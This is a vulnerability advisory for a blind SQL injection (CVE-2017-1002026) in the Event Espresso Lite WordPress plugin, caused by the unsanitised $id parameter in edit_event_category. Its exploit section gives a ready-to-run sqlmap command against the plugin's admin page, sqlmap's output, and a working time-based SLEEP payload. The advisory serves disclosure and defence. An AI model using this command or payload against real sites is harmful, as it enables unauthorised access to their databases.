Blind SQL injection in wordpress plugin event-espresso-free v3.1.37.11.L
SQL Injection
CVE ID(s):
CVE-2017-1002026
Summary: The function edit_event_category does not sanitize user-supplied input via the $id parameter before passing it into an SQL statement.
Notified: 2017-07-07
Description:
Event Espresso Lite – Event Management and Registration System
Exploit:
$ sqlmap -u 'http://example.com/wordpress/wp-admin/admin.php?page=event_categories&action=edit&id=*' --load-cookies=./cookie.txt --level=2 --risk=2 --dbms=mysql
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 364 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace
Payload: http://example.com:80/wordpress/wp-admin/admin.php?page=event_categories&action=edit&id=(CASE WHEN (6856=6856) THEN SLEEP(5) ELSE 6856 END)
---
[14:53:44] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 (xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[14:53:44] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'
[*] shutting down at 14:53:44